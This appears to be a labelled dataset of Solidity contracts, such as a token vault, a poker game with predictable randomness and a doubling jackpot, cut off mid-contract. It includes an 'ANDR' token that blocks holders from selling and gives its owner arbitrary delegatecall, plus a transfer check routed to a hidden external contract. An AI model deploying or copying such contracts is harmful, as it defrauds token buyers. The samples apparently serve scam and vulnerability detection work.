contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Recoverable is Ownable { function Recoverable() { } function recoverTokens(ERC20Basic token) onlyOwner public { token.transfer(owner, tokensToBeReturned(token)); } function tokensToBeReturned(ERC20Basic token) public returns (uint) { return token.balanceOf(this); } } library SafeMathLib { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract StandardTokenExt is StandardToken { function isToken() public constant returns (bool weAre) { return true; } } contract TokenVault is Ownable, Recoverable { using SafeMathLib for uint; uint public investorCount; uint public tokensToBeAllocated; uint public totalClaimed; uint public tokensAllocatedTotal; mapping(address => uint) public balances; mapping(address => uint) public claimed; uint public freezeEndsAt; uint public lockedAt; StandardTokenExt public token; enum State{Unknown, Loading, Holding, Distributing} event Allocated(address investor, uint value); event Distributed(address investors, uint count); event Locked(); function TokenVault(address _owner, uint _freezeEndsAt, StandardTokenExt _token, uint _tokensToBeAllocated) { owner = _owner; if(owner == 0) { throw; } token = _token; if(!token.isToken()) { throw; } if(_freezeEndsAt == 0) { throw; } if(_tokensToBeAllocated == 0) { throw; } freezeEndsAt = _freezeEndsAt; tokensToBeAllocated = _tokensToBeAllocated; } function setInvestor(address investor, uint amount) public onlyOwner { if(lockedAt > 0) { throw; } if(amount == 0) throw; if(balances[investor] > 0) { throw; } balances[investor] = amount; investorCount++; tokensAllocatedTotal += amount; Allocated(investor, amount); } function lock() onlyOwner { if(lockedAt > 0) { throw; } if(tokensAllocatedTotal != tokensToBeAllocated) { throw; } if(token.balanceOf(address(this)) != tokensAllocatedTotal) { throw; } lockedAt = now; Locked(); } function recoverFailedLock() onlyOwner { if(lockedAt > 0) { throw; } token.transfer(owner, token.balanceOf(address(this))); } function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) { return token.balanceOf(address(this)); } function claim() { address investor = msg.sender; if(lockedAt == 0) { throw; } if(now < freezeEndsAt) { throw; } if(balances[investor] == 0) { throw; } if(claimed[investor] > 0) { throw; } uint amount = balances[investor]; claimed[investor] = amount; totalClaimed += amount; token.transfer(investor, amount); Distributed(investor, amount); } function tokensToBeReturned(ERC20Basic tokenToClaim) public returns (uint) { if (address(tokenToClaim) == address(token)) { return getBalance().minus(tokensAllocatedTotal); } else { return tokenToClaim.balanceOf(this); } } function getState() public constant returns(State) { if(lockedAt == 0) { return State.Loading; } else if(now > freezeEndsAt) { return State.Distributing; } else { return State.Holding; } } }
1
3,057
pragma solidity ^0.4.21; contract RNG{ uint256 secret = 0; modifier NoContract(){ uint size; address addr = msg.sender; assembly { size := extcodesize(addr) } require(size == 0); _; } function RNG() public NoContract{ secret = uint256(keccak256(block.coinbase)); } function _giveRNG(uint256 modulo, uint256 secr) private view returns (uint256, uint256){ uint256 seed1 = uint256(block.coinbase); uint256 seed3 = secr; uint256 newsecr = (uint256(keccak256(seed1,seed3))); return (newsecr % modulo, newsecr); } function GiveRNG(uint256 max) internal NoContract returns (uint256){ uint256 num; uint256 newsecret = secret; (num,newsecret) = _giveRNG(max, newsecret); secret=newsecret; return num; } } contract Poker is RNG{ uint8[5] public HouseCards; mapping(address => uint8[2]) public PlayerCards; mapping(address => uint256) public PlayerRound; uint256 public RoundNumber; uint8[6] public WinningHand; address public PokerWinner; uint8[2] public WinningCards; function GetCardNumber(uint8 rank, uint8 suit) public pure returns (uint8){ if (rank==0){ return 0; } return ((rank-1)*4+1)+suit; } function GetPlayerRound(address who) public view returns (uint256){ return PlayerRound[who]; } function GetCardInfo(uint8 n) public pure returns (uint8 rank, uint8 suit){ if (n==0){ return (0,0); } suit = (n-1)%4; rank = (n-1)/4+1; } function DrawHouse() internal{ uint8 i; uint8 rank; uint8 suit; uint8 n; for (i=0; i<5; i++){ rank = uint8(GiveRNG(13)+1); suit = uint8(GiveRNG(4)); n = GetCardNumber(rank,suit); HouseCards[i]=n; } uint8[2] storage target = PlayerCards[address(this)]; for (i=0; i<2; i++){ rank = uint8(GiveRNG(13)+1); suit = uint8(GiveRNG(4)); n = GetCardNumber(rank,suit); target[i]=n; } WinningHand = RankScore(address(this)); WinningCards=[target[0],target[1]]; PokerWinner= address(this); } event DrawnCards(address player, uint8 card1, uint8 card2); function DrawAddr() internal { uint8 tcard1; uint8 tcard2; for (uint8 i=0; i<2; i++){ uint8 rank = uint8(GiveRNG(13)+1); uint8 suit = uint8(GiveRNG(4)); uint8 n = GetCardNumber(rank,suit); if (i==0){ tcard1=n; } else{ tcard2=n; } PlayerCards[msg.sender][i]=n; } if (PlayerRound[msg.sender] != RoundNumber){ PlayerRound[msg.sender] = RoundNumber; } emit DrawnCards(msg.sender,tcard1, tcard2); } function GetPlayerCards(address who) public view NoContract returns (uint8, uint8){ uint8[2] memory target = PlayerCards[who]; return (target[0], target[1]); } function GetWinCards() public view returns (uint8, uint8){ return (WinningCards[0], WinningCards[1]); } struct Card{ uint8 rank; uint8 suit; } function HandWins(address checkhand) internal returns (uint8){ uint8 result = HandWinsView(checkhand); uint8[6] memory CurrScore = RankScore(checkhand); uint8[2] memory target = PlayerCards[checkhand]; if (result == 1){ WinningHand = CurrScore; WinningCards= [target[0],target[1]]; PokerWinner=msg.sender; } return result; } function HandWinsView(address checkhand) public view returns (uint8){ if (PlayerRound[checkhand] != RoundNumber){ return 0; } uint8[6] memory CurrentWinHand = WinningHand; uint8[6] memory CurrScore = RankScore(checkhand); uint8 ret = 2; if (CurrScore[0] > CurrentWinHand[0]){ return 1; } else if (CurrScore[0] == CurrentWinHand[0]){ for (uint i=1; i<=5; i++){ if (CurrScore[i] >= CurrentWinHand[i]){ if (CurrScore[i] > CurrentWinHand[i]){ return 1; } } else{ ret=0; break; } } } else{ ret=0; } return ret; } function RankScore(address checkhand) internal view returns (uint8[6] output){ uint8[4] memory FlushTracker; uint8[14] memory CardTracker; uint8 rank; uint8 suit; Card[7] memory Cards; for (uint8 i=0; i<7; i++){ if (i>=5){ (rank,suit) = GetCardInfo(PlayerCards[checkhand][i-5]); FlushTracker[suit]++; CardTracker[rank]++; Cards[i] = Card(rank,suit); } else{ (rank,suit) = GetCardInfo(HouseCards[i]); FlushTracker[suit]++; CardTracker[rank]++; Cards[i] = Card(rank,suit); } } uint8 straight = 0; uint8[3] memory straight_startcard; for (uint8 startcard=13; i>=5; i--){ if (CardTracker[startcard] >= 1){ for (uint8 currcard=startcard-1; currcard>=(startcard-4); currcard--){ if (CardTracker[currcard] >= 1){ if (currcard == (startcard-4)){ straight_startcard[straight] = startcard; straight++; } } else{ break; } } } } uint8 flush=0; for (i=0;i<=3;i++){ if (FlushTracker[i]>=5){ flush=i; break; } } if (flush>0 && straight>0){ output[0] = 9; currcard=0; for (i=0; i<3; i++){ startcard=straight_startcard[i]; currcard=5; for (rank=0; i<7; i++){ if (Cards[i].suit == flush && Cards[i].rank <= startcard && Cards[i].rank>=(startcard-4)){ currcard--; if (currcard==0){ break; } } } if (currcard==0){ output[1] = straight_startcard[i]; break; } } return output; } rank=0; for (i=13;i>=1;i--){ rank = rank + CardTracker[i]; if (CardTracker[i] >= 4){ output[0] = 8; output[1] = i; return output; } if (rank >=4){ break; } } rank=0; suit=0; startcard=0; currcard=0; for (i=13;i>=1;i--){ if (rank == 0 && CardTracker[i] >= 3){ rank = i; } else if(CardTracker[i] >= 2){ if (suit == 0){ suit = CardTracker[i]; } else{ if (startcard==0){ startcard=CardTracker[i]; } } } } if (rank != 0 && suit != 0){ output[0] = 7; output[1] = rank; output[2] = suit; return output; } if (flush>0){ output[0] = 6; output[1] = flush; return output; } if (straight>0){ output[0] = 5; output[1] = straight_startcard[0]; return output; } if (rank>0){ output[0]=4; output[1]=rank; currcard=2; for (i=13;i>=1;i--){ if (i != rank){ if (CardTracker[i] > 0){ output[currcard] = i; currcard++; if(currcard==4){ return output; } } } } } if (suit > 0 && startcard > 0){ output[0] = 3; output[1] = suit; output[2] = startcard; for (i=13;i>=1;i--){ if (i!=suit && i!=startcard && CardTracker[i]>0){ output[3]=i; return output; } } } if (suit > 0){ output[0]=2; output[1]=suit; currcard=2; for (i=13;i>=1;i--){ if (i!=suit && CardTracker[i]>0){ output[currcard]=i; currcard++; if(currcard==5){ return output; } } } } output[0]=1; currcard=1; for (i=13;i>=1;i--){ if (CardTracker[i]>0){ output[currcard]=i; currcard++; if (currcard==6){ return output; } } } } } contract Vegas is Poker{ address owner; address public feesend; uint256 public Timer; uint8 constant MAXPRICEPOWER = 40; address public JackpotWinner; uint16 public JackpotPayout = 8000; uint16 public PokerPayout = 2000; uint16 public PreviousPayout = 6500; uint16 public Increase = 9700; uint16 public Tax = 500; uint16 public PotPayout = 8000; uint256 public BasePrice = (0.005 ether); uint256 public TotalPot; uint256 public PokerPayoutValue; uint256[9] TimeArray = [uint256(6 hours), uint256(3 hours), uint256(2 hours), uint256(1 hours), uint256(50 minutes), uint256(40 minutes), uint256(30 minutes), uint256(20 minutes), uint256(15 minutes)]; struct Item{ address Holder; uint8 PriceID; } Item[16] public Market; uint8 public MaxItems = 12; event ItemBought(uint256 Round, uint8 ID, uint256 Price, address BoughtFrom, address NewOwner, uint256 NewTimer, uint256 NewJP, string Quote, string Name); event PokerPaid(uint256 Round, uint256 AmountWon, address Who, string Quote, string Name, uint8[6] WinHand); event JackpotPaid(uint256 Round, uint256 Amount, address Who, string Quote, string Name); event NewRound(); bool public EditMode; bool public SetEditMode; modifier OnlyOwner(){ require(msg.sender == owner); _; } modifier GameClosed(){ require (block.timestamp > Timer); _; } function Vegas() public{ owner=msg.sender; feesend=0xC1086FA97549CEA7acF7C2a7Fa7820FD06F3e440; Timer = 1; } function Buy(uint8 ID, string Quote, string Name) public payable NoContract { require(ID < MaxItems); require(!EditMode); uint256 price = GetPrice(Market[ID].PriceID); require(msg.value >= price); if (block.timestamp > Timer){ if (Timer != 0){ Withdraw("GameInit", "Admin"); return; } } if (msg.value > price){ msg.sender.transfer(msg.value-price); } uint256 PayTax = (price * Tax)/10000; feesend.transfer(PayTax); uint256 Left = (price-PayTax); if (Market[ID].PriceID!=0){ uint256 pay = (Left*PreviousPayout)/10000; TotalPot = TotalPot + (Left-pay); Market[ID].Holder.transfer(pay); } else{ TotalPot = TotalPot + Left; } Timer = block.timestamp + GetTime(Market[ID].PriceID); JackpotWinner = msg.sender; emit ItemBought(RoundNumber,ID, price, Market[ID].Holder, msg.sender, Timer, TotalPot, Quote, Name); DrawAddr(); Market[ID].PriceID++; Market[ID].Holder=msg.sender; } function GetPrice(uint8 id) public view returns (uint256){ uint256 p = BasePrice; if (id > 0){ for (uint i=1; i<=id; i++){ if (i==MAXPRICEPOWER){ break; } p = (p * (10000 + Increase))/10000; } } return p; } function PayPoker(string Quote, string Name) public NoContract{ uint8 wins = HandWins(msg.sender); if (wins>0){ uint256 available_balance = (TotalPot*PotPayout)/10000; uint256 payment = sub ((available_balance * PokerPayout)/10000 , PokerPayoutValue); PokerPayoutValue = PokerPayoutValue + payment; if (wins==1){ msg.sender.transfer(payment); emit PokerPaid(RoundNumber, payment, msg.sender, Quote, Name, WinningHand); } } else{ revert(); } } function GetTime(uint8 id) public view returns (uint256){ if (id >= TimeArray.length){ return TimeArray[TimeArray.length-1]; } else{ return TimeArray[id]; } } function Withdraw(string Quote, string Name) public NoContract { _withdraw(Quote,Name,false); } function WithdrawEmergency() public OnlyOwner{ _withdraw("Emergency withdraw call","Admin",true); } function _withdraw(string Quote, string Name, bool Emergency) NoContract internal { require(block.timestamp > Timer && Timer != 0); Timer=0; uint256 available_balance = (TotalPot*PotPayout)/10000; uint256 bal = (available_balance * JackpotPayout)/10000; JackpotWinner.transfer(bal); emit JackpotPaid(RoundNumber, bal, JackpotWinner, Quote, Name); bal = sub(sub(available_balance, bal),PokerPayoutValue); if (bal > 0 && PokerWinner != address(this)){ if (bal > address(this).balance){ PokerWinner.transfer(address(this).balance); } else{ PokerWinner.transfer(bal); } emit PokerPaid(RoundNumber, bal, PokerWinner, "Paid out left poker pot", "Dealer", WinningHand); } TotalPot = address(this).balance; PokerPayoutValue= (TotalPot * PotPayout * PokerPayout)/(10000*10000); for (uint i=0; i<MaxItems; i++){ Market[i].PriceID=0; } if (!Emergency){ DrawHouse(); } RoundNumber++; EditMode=SetEditMode; emit NewRound(); } function setEditModeBool(bool editmode) public OnlyOwner { SetEditMode=editmode; if (!editmode){ EditMode=false; } } function emergencyDropEth() public payable{ } function editTimer(uint8 ID, uint256 Time) public OnlyOwner GameClosed{ TimeArray[ID] = Time; } function editBasePrice(uint256 NewBasePrice) public OnlyOwner GameClosed{ BasePrice = NewBasePrice; } function editMaxItems(uint8 NewMax) public OnlyOwner GameClosed{ MaxItems = NewMax; } function editPayoutSetting(uint8 setting, uint16 newv) public OnlyOwner GameClosed{ require(setting > 0); if (setting == 1){ require(newv <= 10000); JackpotPayout = newv; PokerPayout = 10000-newv; } else if (setting == 2){ require(newv <= 10000); PokerPayout = newv; JackpotPayout = 10000-newv; } else if (setting == 3){ require (newv <= 10000); PreviousPayout = newv; } else if (setting == 4){ require(newv <= 30000); Increase = newv; } else if (setting == 5){ require(newv <=10000); PotPayout = newv; } else if (setting == 6){ require(newv < 700); Tax = newv; } else{ revert(); } } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0
1,394
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ANDR { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
1
2,637
pragma solidity ^0.4.21; contract TwoXJackpot { using SafeMath for uint256; address public contractOwner; struct BuyIn { uint256 value; address owner; } struct Game { BuyIn[] buyIns; address[] winners; uint256[] winnerPayouts; uint256 gameTotalInvested; uint256 gameTotalPaidOut; uint256 gameTotalBacklog; uint256 index; mapping (address => uint256) totalInvested; mapping (address => uint256) totalValue; mapping (address => uint256) totalPaidOut; } mapping (uint256 => Game) public games; uint256 public gameIndex; uint256 public jackpotBalance; address public jackpotLastQualified; address public jackpotLastWinner; uint256 public jackpotLastPayout; uint256 public jackpotCount; uint256 public gameStartTime; uint256 public roundStartTime; uint256 public lastAction; uint256 public timeBetweenGames = 24 hours; uint256 public timeBeforeJackpot = 30 minutes; uint256 public timeBeforeJackpotReset = timeBeforeJackpot; uint256 public timeIncreasePerTx = 1 minutes; uint256 public timeBetweenRounds = 5 minutes; uint256 public buyFee = 90; uint256 public minBuy = 50; uint256 public maxBuy = 2; uint256 public minMinBuyETH = 0.02 ether; uint256 public minMaxBuyETH = 0.5 ether; uint256[] public gameReseeds = [90, 80, 60, 20]; modifier onlyContractOwner() { require(msg.sender == contractOwner); _; } modifier isStarted() { require(now >= gameStartTime); require(now >= roundStartTime); _; } event Purchase(uint256 amount, address depositer); event Seed(uint256 amount, address seeder); function TwoXJackpot() public { contractOwner = msg.sender; gameStartTime = now + timeBetweenGames; lastAction = gameStartTime; } function changeStartTime(uint256 _time) public onlyContractOwner { require(now < _time); gameStartTime = _time; lastAction = gameStartTime; } function updateTimeBetweenGames(uint256 _time) public onlyContractOwner { timeBetweenGames = _time; } function seed() public payable { jackpotBalance += msg.value; emit Seed(msg.value, msg.sender); } function purchase() public payable isStarted { if (now > lastAction + timeBeforeJackpot && jackpotLastQualified != 0x0) { claim(); if (msg.value > 0) { msg.sender.transfer(msg.value); } return; } if (jackpotBalance <= 1 ether) { require(msg.value >= minMinBuyETH); require(msg.value <= minMaxBuyETH); } else { uint256 purchaseMin = SafeMath.mul(msg.value, minBuy); uint256 purchaseMax = SafeMath.mul(msg.value, maxBuy); require(purchaseMin >= jackpotBalance); require(purchaseMax <= jackpotBalance); } uint256 valueAfterTax = SafeMath.div(SafeMath.mul(msg.value, buyFee), 100); uint256 potFee = SafeMath.sub(msg.value, valueAfterTax); jackpotBalance += potFee; jackpotLastQualified = msg.sender; lastAction = now; timeBeforeJackpot += timeIncreasePerTx; uint256 valueMultiplied = SafeMath.mul(msg.value, 2); games[gameIndex].gameTotalInvested += msg.value; games[gameIndex].gameTotalBacklog += valueMultiplied; games[gameIndex].totalInvested[msg.sender] += msg.value; games[gameIndex].totalValue[msg.sender] += valueMultiplied; games[gameIndex].buyIns.push(BuyIn({ value: valueMultiplied, owner: msg.sender })); emit Purchase(msg.value, msg.sender); while (games[gameIndex].index < games[gameIndex].buyIns.length && valueAfterTax > 0) { BuyIn storage buyIn = games[gameIndex].buyIns[games[gameIndex].index]; if (valueAfterTax < buyIn.value) { buyIn.owner.transfer(valueAfterTax); games[gameIndex].gameTotalBacklog -= valueAfterTax; games[gameIndex].gameTotalPaidOut += valueAfterTax; games[gameIndex].totalPaidOut[buyIn.owner] += valueAfterTax; games[gameIndex].totalValue[buyIn.owner] -= valueAfterTax; buyIn.value -= valueAfterTax; valueAfterTax = 0; } else { buyIn.owner.transfer(buyIn.value); games[gameIndex].gameTotalBacklog -= buyIn.value; games[gameIndex].gameTotalPaidOut += buyIn.value; games[gameIndex].totalPaidOut[buyIn.owner] += buyIn.value; games[gameIndex].totalValue[buyIn.owner] -= buyIn.value; valueAfterTax -= buyIn.value; buyIn.value = 0; games[gameIndex].index++; } } } function claim() public payable isStarted { require(now > lastAction + timeBeforeJackpot); require(jackpotLastQualified != 0x0); uint256 reseed = SafeMath.div(SafeMath.mul(jackpotBalance, gameReseeds[jackpotCount]), 100); uint256 payout = jackpotBalance - reseed; jackpotLastQualified.transfer(payout); jackpotBalance = reseed; jackpotLastWinner = jackpotLastQualified; jackpotLastPayout = payout; games[gameIndex].winners.push(jackpotLastQualified); games[gameIndex].winnerPayouts.push(payout); timeBeforeJackpot = timeBeforeJackpotReset; jackpotLastQualified = 0x0; if(jackpotCount == gameReseeds.length - 1){ gameStartTime = now + timeBetweenGames; lastAction = gameStartTime; gameIndex += 1; jackpotCount = 0; } else { lastAction = now + timeBetweenRounds; roundStartTime = lastAction; jackpotCount += 1; } } function () public payable { purchase(); } function getJackpotInfo() public view returns (uint256, address, address, uint256, uint256, uint256, uint256, uint256, uint256) { return ( jackpotBalance, jackpotLastQualified, jackpotLastWinner, jackpotLastPayout, jackpotCount, gameIndex, gameStartTime, lastAction + timeBeforeJackpot, roundStartTime ); } function getPlayerGameInfo(uint256 _gameIndex, address _player) public view returns (uint256, uint256, uint256) { return ( games[_gameIndex].totalInvested[_player], games[_gameIndex].totalValue[_player], games[_gameIndex].totalPaidOut[_player] ); } function getMyGameInfo() public view returns (uint256, uint256, uint256) { return getPlayerGameInfo(gameIndex, msg.sender); } function getGameConstants() public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256[]) { return ( timeBetweenGames, timeBeforeJackpot, minMinBuyETH, minMaxBuyETH, minBuy, maxBuy, gameReseeds ); } function getGameInfo(uint256 _gameIndex) public view returns (uint256, uint256, uint256, address[], uint256[]) { return ( games[_gameIndex].gameTotalInvested, games[_gameIndex].gameTotalPaidOut, games[_gameIndex].gameTotalBacklog, games[_gameIndex].winners, games[_gameIndex].winnerPayouts ); } function getCurrentGameInfo() public view returns (uint256, uint256, uint256, address[], uint256[]) { return getGameInfo(gameIndex); } function getGameStartTime() public view returns (uint256) { return gameStartTime; } function getJackpotRoundEndTime() public view returns (uint256) { return lastAction + timeBeforeJackpot; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0
768
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal protectionFromBots; address public uniPair; constructor(address _botProtection) { protectionFromBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function 